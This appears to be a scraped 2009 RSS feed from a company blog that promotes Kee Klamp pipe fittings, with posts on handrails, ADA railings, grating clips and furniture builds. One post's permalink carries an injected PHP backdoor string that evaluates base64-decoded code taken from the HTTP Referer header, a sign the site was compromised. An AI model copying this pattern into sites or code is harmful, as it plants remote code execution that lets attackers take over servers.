Simplified Building Concepts - Safety Products and Solutions

Simplified Building Concepts - Safety Products and Solutions http://www.simplifiedbuilding.com/blog Tue, 27 Oct 2009 15:00:13 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 Need a Tool Vest for Tinkering? Try this one on for size. http://www.simplifiedbuilding.com/blog/2009/10/07/need-a-tool-vest-for-tinkering-try-this-one-on-for-size/ http://www.simplifiedbuilding.com/blog/2009/10/07/need-a-tool-vest-for-tinkering-try-this-one-on-for-size/#comments Wed, 07 Oct 2009 20:09:19 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/10/07/need-a-tool-vest-for-tinkering-try-this-one-on-for-size/ This may be a bit much for the average DIY person, but if you’re an above average DIY master or you work as an electrician or in a tool wielding trade, this may just be the item you need at the top of your Christmas List (No seriously, don’t put it on a list, if you like it, just buy it.. but for your own sake don’t obligate someone else to get it for you… I digress). Now available from our sister site: Simplified Safety

This tool vest from Vest-Tech is a serious tool carrying piece of clothing. Made by electricians, for electricians and other trades people who are slaves to the old fashioned tool belt. The Vest-Tech tool vest makes your work more comfortable, efficient and even safer.

]]> http://www.simplifiedbuilding.com/blog/2009/10/07/need-a-tool-vest-for-tinkering-try-this-one-on-for-size/feed/ 0 Kee Klamp Clothing Racks in UK Surf Shop http://www.simplifiedbuilding.com/blog/2009/09/18/kee-klamp-clothing-racks-in-uk-surf-shop/ http://www.simplifiedbuilding.com/blog/2009/09/18/kee-klamp-clothing-racks-in-uk-surf-shop/#comments Fri, 18 Sep 2009 13:41:09 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/09/18/kee-klamp-clothing-racks-in-uk-surf-shop/ A friend of SBC spotted these clothing racks while vacationing in Northern Wales. He was kind enough to send along some pictures of the shop. If you’re interested in clothing racks, search our blog and you’ll find many other examples. If you need assistance designing a rack made with Kee Klamp fittings, please contact us.

For more information about the surf and clothing shops click here: Offaxis and Rip Girl / OSD

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]]> http://www.simplifiedbuilding.com/blog/2009/09/18/kee-klamp-clothing-racks-in-uk-surf-shop/feed/ 3 Channing Glover – Overflow Scrupper http://www.simplifiedbuilding.com/blog/2009/09/11/channing-glove-overflow-scrupper/ http://www.simplifiedbuilding.com/blog/2009/09/11/channing-glove-overflow-scrupper/#comments Fri, 11 Sep 2009 20:02:29 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/09/11/channing-glove-overflow-scrupper/ Channing Glover has done it again, using Kee Lite fittings to construct great architectural structures such as the one pictured and described below.

L2 Overflow Scupper

This is an example of using kee-lite fittings and aluminum pipe to support a custom stainless steel overflow scupper on a wood turning studio/residence in Wilmington, North Carolina. The water is gathered off the roof and channeled to downspouts on either side of a large picture window. The water is then captured in a corrugated culvert pipe and used for gravity feed irrigation of plantings around the house.

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]]> http://www.simplifiedbuilding.com/blog/2009/09/11/channing-glove-overflow-scrupper/feed/ 0 A Railing on the Side of a Mountain – Kee Klamp Railing http://www.simplifiedbuilding.com/blog/2009/09/09/a-railing-on-the-side-of-a-mountain-kee-klamp-railing/ http://www.simplifiedbuilding.com/blog/2009/09/09/a-railing-on-the-side-of-a-mountain-kee-klamp-railing/#comments Wed, 09 Sep 2009 01:00:00 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/09/09/a-railing-on-the-side-of-a-mountain-kee-klamp-railing/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ When you need to construct a railing on the side of a mountain, what are you going to use? Kee Klamp fittings and pipe! What else?!

Friend, David Whiting, captured these pictures of a hand railing on a trail up the Beacon Rock near North Bonneville WA. Pictures like this represent so many of the fine qualities of railings built with Kee Klamp fittings:

Modularity – yes, you can tote it up the side of a mountain
Durability – I can’t say how long it’s been there.. but probably a while!
Flexibility – look at the turns in the railing curling perfectly up the path.

Need to build a handrail? Contact Us Today!

]]> http://www.simplifiedbuilding.com/blog/2009/09/09/a-railing-on-the-side-of-a-mountain-kee-klamp-railing/feed/ 0 Kee Klamp Structure Used in Award Winning “Teenage Garden Sanctuary” http://www.simplifiedbuilding.com/blog/2009/08/24/kee-klamp-structure-used-in-award-winning-teenage-garden-sanctuary/ http://www.simplifiedbuilding.com/blog/2009/08/24/kee-klamp-structure-used-in-award-winning-teenage-garden-sanctuary/#comments Mon, 24 Aug 2009 20:25:11 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/08/24/kee-klamp-structure-used-in-award-winning-teenage-garden-sanctuary/ 12 Garden Design, created a “Teenage Sactuary” for the Hampton Court Flower Show. The garden design featured the use of Kee Klamp fittings in the construction of the center structure as well as some of the outside barriers.

According to 12 Garden Design, “The ‘Teenage Sanctuary’ was designed purely with teenagers in mind; encouraging them outside to study, relax & socialise in a young & vibrant space.” (ref)

Whether or not you use Kee Klamp fittings to build a teenage hideaway check out the pictures of the structure below.

]]> http://www.simplifiedbuilding.com/blog/2009/08/24/kee-klamp-structure-used-in-award-winning-teenage-garden-sanctuary/feed/ 0 Upgrade Your Handrail… Make it ADA Compliant http://www.simplifiedbuilding.com/blog/2009/08/19/upgrade-your-handrail-make-it-ada-compliant/ http://www.simplifiedbuilding.com/blog/2009/08/19/upgrade-your-handrail-make-it-ada-compliant/#comments Wed, 19 Aug 2009 19:25:00 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/08/19/upgrade-your-handrail-make-it-ada-compliant/ ADA compliance is a requirement on many public buildings (which ones?). Sometimes the existing handrails in a place of business are not ADA compliant. Our ADA handrail system can be used to upgrade an existing hand railing to make it ADA Compliant.

Depending on what type of existing handrail you’re upgrading, you can either clamp on to existing tubular type handrail systems with the use of use specially designed add-on fittings or bolt onto a flat surface.

Fixing the new hand railing onto an existing structure is a snap and our expert staff can help you identify the pieces you need to assemble the railing properly.

Click here for info about ADA Railings

Examples of ADA Upgraded Railings

Upgrade square rectangular handrail to ADA compliance.

Upgrade square rectangular handrail to ADA compliance.

Upgrade square rectangular handrail to ADA compliance.

Upgrade square rectangular handrail to ADA compliance.

]]> http://www.simplifiedbuilding.com/blog/2009/08/19/upgrade-your-handrail-make-it-ada-compliant/feed/ 0 Use Kee Klamp Fittings to Build a Freerunning / Parkour Structure http://www.simplifiedbuilding.com/blog/2009/08/17/use-kee-klamp-fittings-to-build-a-freerunning-parkour-structure/ http://www.simplifiedbuilding.com/blog/2009/08/17/use-kee-klamp-fittings-to-build-a-freerunning-parkour-structure/#comments Mon, 17 Aug 2009 13:31:24 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/08/17/use-kee-klamp-fittings-to-build-a-freerunning-parkour-structure/

ScreenShot

Recently the 2009 World Championship for Freerunning / Parkour were held in Great Britain. One of the things I noticed was that most of the tubular structures on the stage were constructed of Kee Klamp fittings. Freerunning appears to be an emerging urban athletic movement. If you’re a Freerunner, check out our fittings when building structures to swing, hang and hover on.

]]> http://www.simplifiedbuilding.com/blog/2009/08/17/use-kee-klamp-fittings-to-build-a-freerunning-parkour-structure/feed/ 0 Tribute to Durability: Kee Klamp Railing from 1967 http://www.simplifiedbuilding.com/blog/2009/08/17/tribute-to-durability-kee-klamp-railing-from-1967/ http://www.simplifiedbuilding.com/blog/2009/08/17/tribute-to-durability-kee-klamp-railing-from-1967/#comments Mon, 17 Aug 2009 13:04:00 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/08/17/tribute-to-durability-kee-klamp-railing-from-1967/ Lest one begin to imagine that we are simply tooting our own horn when we talk about hand rail durability, I submit to you the following evidence:

The following handrail was constructed in 1967 using the same fittings and pipe that we sell today. Notice what is missing from these pictures: rust! Even though the railing sits right on the edge of the Erie Canal (Medina, NY), it has stood the test of time and weather. In any environment, railings made with Kee Klamp fittings are a winner, but especially in water rich environments such as: dock railing and water treatment railing. Check out our OSHA Compliant Handrail page for more information.

Now this is really cool! Check out the railing on Google Earth Street View

View Larger Map

]]> http://www.simplifiedbuilding.com/blog/2009/08/17/tribute-to-durability-kee-klamp-railing-from-1967/feed/ 0 Architectural Uses of Kee Klamp Fittings – Channing Glover http://www.simplifiedbuilding.com/blog/2009/08/14/architectural-uses-of-kee-klamp-fittings-channing-glover/ http://www.simplifiedbuilding.com/blog/2009/08/14/architectural-uses-of-kee-klamp-fittings-channing-glover/#comments Fri, 14 Aug 2009 18:33:23 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/08/14/architectural-uses-of-kee-klamp-fittings-channing-glover/ Channing has been using our Aluminum, Kee Lite fittings for a while now to design modern looking architectural fixtures and furniture. Recently, Channing sent us a new batch of photos along with descriptive overview. Here are the pictures and what he had to say.

Reading Module 1/2/3: This was an built-in reading bench floating above stairs to the second floor. The struts were meant to support the bench and lends itself to the industrial aesthetic of the project. This project was done when I was project manager at Michael Ross Kersting Architecture. To see other interesting architecture, see their website: www.kerstingarchitecture.com

Folly 1 & 2: This was an outdoor open air structure that accommodated two grilles, dining/sitting space, and a broad ipe bar that would allow guest to sit on the raised platform and carry on conversations with the cook. The simple shed form was clearly expressed with exposed framing, Kee-Lite pipe fittings, corrugated metal siding, and cable railing.

Vanity: The design of the vanity was to integrate the pipe fittings into the cabinet. I designed the vanity box to set on a frame using the fittings as legs. Other components were concrete countertops. The concept was to integrate industrial material into a residential setting.

]]> http://www.simplifiedbuilding.com/blog/2009/08/14/architectural-uses-of-kee-klamp-fittings-channing-glover/feed/ 3 ADA Handrail Installed on Gulf of Mexico’s Longest Fishing Pier http://www.simplifiedbuilding.com/blog/2009/08/07/ada-handrail-installed-on-gulf-of-mexicos-longest-fishing-pier/ http://www.simplifiedbuilding.com/blog/2009/08/07/ada-handrail-installed-on-gulf-of-mexicos-longest-fishing-pier/#comments Fri, 07 Aug 2009 13:10:06 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/08/07/ada-handrail-installed-on-gulf-of-mexicos-longest-fishing-pier/ Some projects are a real testament to the durability and quality of our ADA handrails. When Alabama needed to install an ADA handrail on their new State Park Pier they chose to use our ADA fittings to complete the job. The reasons are simple:

Durability – made from galvanized steel, because there is no welding, the risk of rusting is SIGNIFICANTLY decreased.
Simplicity – the system is simple to use and can be installed by just about anyone who knows how to use a wrench, a drill and a screw driver.
Cost Savings – when you factor in the savings in labor costs (non-specialized labor) and tall the necessary process of getting a welding permit, our ADA handrails are a clear choice for cost savings.

Check out the pictures of the project and the video:

]]> http://www.simplifiedbuilding.com/blog/2009/08/07/ada-handrail-installed-on-gulf-of-mexicos-longest-fishing-pier/feed/ 0 ADA Aluminum Handrail http://www.simplifiedbuilding.com/blog/2009/08/04/ada-aluminum-handrail/ http://www.simplifiedbuilding.com/blog/2009/08/04/ada-aluminum-handrail/#comments Tue, 04 Aug 2009 14:10:26 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/08/04/ada-aluminum-handrail/ For quite awhile our ADA handrails were only available in galvanized steel. With the addition of some fittings we are now able to offer a smooth rail surface in aluminum as well. Check out the pictures below of a modular ADA handrail made completely of aluminum pipe and fittings. Visit the ADA handrail section of our web site to learn more about constructing your own ADA handrail with our unique smooth surface fittings.

]]> http://www.simplifiedbuilding.com/blog/2009/08/04/ada-aluminum-handrail/feed/ 1 Need to Keep the Customers out of the Store Window? Put Up a Railing! http://www.simplifiedbuilding.com/blog/2009/07/31/need-to-keep-the-customers-out-of-the-store-window-put-up-a-railing/ http://www.simplifiedbuilding.com/blog/2009/07/31/need-to-keep-the-customers-out-of-the-store-window-put-up-a-railing/#comments Fri, 31 Jul 2009 13:14:00 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/07/31/need-to-keep-the-customers-out-of-the-store-window-put-up-a-railing/ Tilly’s, a popular mall fashion store, found a way to keep customers out the windows of their stores: an aesthetic railing made from Kee Lite Aluminum Fittings and Pipe. This railing was designed to have form and function.

Before

After

We can help you design a railing like this for your store. Please contact us.

]]> http://www.simplifiedbuilding.com/blog/2009/07/31/need-to-keep-the-customers-out-of-the-store-window-put-up-a-railing/feed/ 0 Kee Klamp Contraption on UK’s “Bang Goes the Theory” http://www.simplifiedbuilding.com/blog/2009/07/30/kee-klamp-contraption-on-uks-bang-goes-the-theory/ http://www.simplifiedbuilding.com/blog/2009/07/30/kee-klamp-contraption-on-uks-bang-goes-the-theory/#comments Thu, 30 Jul 2009 14:29:17 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/07/30/kee-klamp-contraption-on-uks-bang-goes-the-theory/ bang-screenshot

bang-screenshot

The UK has a new show, Bang Goes the Theory, that appears to be similar to our Myth Busters here in the US. In their promo piece they have a huge contraption that has several pieces that appear to be made form Kee Klamp pipe fittings. Check out other categories on our blog for more creative uses for Kee Klamp fittings.

]]> http://www.simplifiedbuilding.com/blog/2009/07/30/kee-klamp-contraption-on-uks-bang-goes-the-theory/feed/ 0 Kids’ Playhouse Made with PVC Pipe and Fittings http://www.simplifiedbuilding.com/blog/2009/07/27/kids-playhouse-made-with-pvc-pipe-and-fittings/ http://www.simplifiedbuilding.com/blog/2009/07/27/kids-playhouse-made-with-pvc-pipe-and-fittings/#comments Mon, 27 Jul 2009 14:23:26 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/07/27/kids-playhouse-made-with-pvc-pipe-and-fittings/ My wife follows a number of “crafty” blogs and pointed out this PVC Playhouse project. The blog has a simple plan for building a nice looking PVC framed playhouse for kids. If you are thinking of putting together a project like this, take a look at our furniture grade PVC, PVC fittings, and PVC Snap Clamps.

]]> http://www.simplifiedbuilding.com/blog/2009/07/27/kids-playhouse-made-with-pvc-pipe-and-fittings/feed/ 0 Attach Handrail Uprights to Floor Grating http://www.simplifiedbuilding.com/blog/2009/06/26/attach-handrail-uprights-to-floor-grating/ http://www.simplifiedbuilding.com/blog/2009/06/26/attach-handrail-uprights-to-floor-grating/#comments Fri, 26 Jun 2009 01:11:37 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/06/26/attach-handrail-uprights-to-floor-grating/ Until now, there have not been many options to attaching a handrail to a steel grating floor. You can weld, but that can be costly and dangerous. You can build an offset handrail that attached to the side of the structure, but installation can be difficult. We have a new fitting and grating clip which make attaching handrail uprights to steel, aluminum or fiberglass grating even easier. The trick is to use a 262 fitting, with a G Clip GM. Using these two components allows you to connect handrail bases to floor gratings in a simple and straight forward manner from one side of the surface.

See the pictures below for an overview. See our fitting page and G Clip page for more information on those components.

1. Insert the bottom half of the G Clip from the tops side of the grating

2. Connect the grating clip to the grating with the bottom fastener

3. Slide the 262 Fitting onto the bolt on the clip.

4. Fasten the fitting to the clip with standard nuts and washers.

5. Slide in your upright pipe and tighten the set screws.

That’s it! In several minutes you’ve created a connection that is as strong as a weld, but is not prone to rust and requires no specialized labor to install.

If you’re interested in constructing a handrail on steel grating, please see our handrail resource page and then contact us.

]]> http://www.simplifiedbuilding.com/blog/2009/06/26/attach-handrail-uprights-to-floor-grating/feed/ 0 Kee Klamp Rail Spotting – Braddock Bay State Park http://www.simplifiedbuilding.com/blog/2009/06/24/kee-klamp-rail-spotting-braddock-bay-state-park/ http://www.simplifiedbuilding.com/blog/2009/06/24/kee-klamp-rail-spotting-braddock-bay-state-park/#comments Wed, 24 Jun 2009 13:30:00 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/06/24/kee-klamp-rail-spotting-braddock-bay-state-park/ Have you ever noticed that when you take up a particular interest that you tend to see that interest wherever you go. Well, the fact that I sell Kee Klamp pipe fittings makes me really alert to Kee Klamp structures wherever I go. Recently our family took a picnic to Braddock Bay State Park outside of Rochester, NY. When we were there we checked out the hawk lookout stand and the long dock that goes out into the marsh. I was happy to see that the dock going out into the marsh was thoroughly railed with a Kee Klamp railing.

This project is a great example of how railings made with Kee Klamp fittings stand up to a moisture rich environment. This rail has clearly been in place for a number of years and still looks fantastic. Find out more about our railing and handrails.

]]> http://www.simplifiedbuilding.com/blog/2009/06/24/kee-klamp-rail-spotting-braddock-bay-state-park/feed/ 0 Modern Shelf & Desk Made w/ Kee Klamp Fittings http://www.simplifiedbuilding.com/blog/2009/06/23/modern-shelf-desk-made-w-kee-klamp-fittings/ http://www.simplifiedbuilding.com/blog/2009/06/23/modern-shelf-desk-made-w-kee-klamp-fittings/#comments Tue, 23 Jun 2009 19:45:28 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/06/23/modern-shelf-desk-made-w-kee-klamp-fittings/

Robert Gutmann Modern Shelf

Robert Gutmann constructed this modern shelf and desk using pipe, glass, and Kee Klamp fittings. Kee Klamp fittings create an interesting modern look and also allow for simple and straight forward construction. This particular shelf and desk was built in an apartment on Broadway in New York City.

If you are interested in modern furniture design, search our blog for other products as well as check out our steel and aluminum fittings.

Construction Pictures

]]> http://www.simplifiedbuilding.com/blog/2009/06/23/modern-shelf-desk-made-w-kee-klamp-fittings/feed/ 4 Makeshift Headset Hanger – Grating Clips http://www.simplifiedbuilding.com/blog/2009/06/23/makeshift-headset-hanger-grating-clips/ http://www.simplifiedbuilding.com/blog/2009/06/23/makeshift-headset-hanger-grating-clips/#comments Tue, 23 Jun 2009 01:26:41 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/06/23/makeshift-headset-hanger-grating-clips/ I’ve a had a couple of sample grating clips hanging around my desk for a couple of years. Most of the time I fiddle with them while I’m on the phone. Recently, I picked up another head set and got a little frustrated with the pile on my desk. In the midst of that, I was inspired to use these grating clips as a headset hanger… and it worked! The screw allowed me to clamp it down on my desk. Just another thing I love about the things that we sell.. you can use them for all sorts of creations.

]]> http://www.simplifiedbuilding.com/blog/2009/06/23/makeshift-headset-hanger-grating-clips/feed/ 0 A Simple Handrail for Residential Environments http://www.simplifiedbuilding.com/blog/2009/06/18/a-simple-handrail-for-residential-environments/ http://www.simplifiedbuilding.com/blog/2009/06/18/a-simple-handrail-for-residential-environments/#comments Thu, 18 Jun 2009 14:10:30 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/06/18/a-simple-handrail-for-residential-environments/ One thing we try to be consistent with here at Simplified Building is serving our customers whether large or small. Sometimes we’re quoting hundreds of feet of railing, and sometimes, it just a simple 3 foot rail, like in the one pictured below.

Kee Klamp hand railings don’t have to be huge, the can be used in a number of different residential environments.

Here is a rail that we recently supplied for Warren McDunn, who runs his own handy man service Can Do Handyman Service

On a recent trip that I took to England, I saw Kee Klamp railing all over the place. In England, it seems that more people use fittings than they use welded rail. Here are a few snap shots:

If you’re looking to build a railing, whatever the setting, please see our handrail page and contact us.

]]> http://www.simplifiedbuilding.com/blog/2009/06/18/a-simple-handrail-for-residential-environments/feed/ 1 Now Offering more Grating and Flooring Fasteners http://www.simplifiedbuilding.com/blog/2009/06/12/now-offering-more-grating-and-flooring-fasteners/ http://www.simplifiedbuilding.com/blog/2009/06/12/now-offering-more-grating-and-flooring-fasteners/#comments Fri, 12 Jun 2009 20:08:05 +0000 Chris http://www.simplifiedbuilding.com/blog/2009/06/12/now-offering-more-grating-and-flooring-fasteners/ We have expanded our offering of grating clips, g clips and steel flooring fasteners to include some new products:

G-Clip Bar Grate Fasteners

G-Clips (short for grating clips) are easy to install clips that hold down steel, aluminum or fiberglass grating. The idea is simple, through the usage of simple tools, clip instead of weld your bar grating to a steel work environment.

Grate-Fix – Another Clamp for Steel Aluminum and Fiberglass Grating

Comparable to products from those from struct-fast, the Grate Fix uses a different method to attach the grating to the steel work.

New High Tolerance versions of the steel floor fasteners are also now available.

]]> http://www.simplifiedbuilding.com/blog/2009/06/12/now-offering-more-grating-and-flooring-fasteners/feed/ 0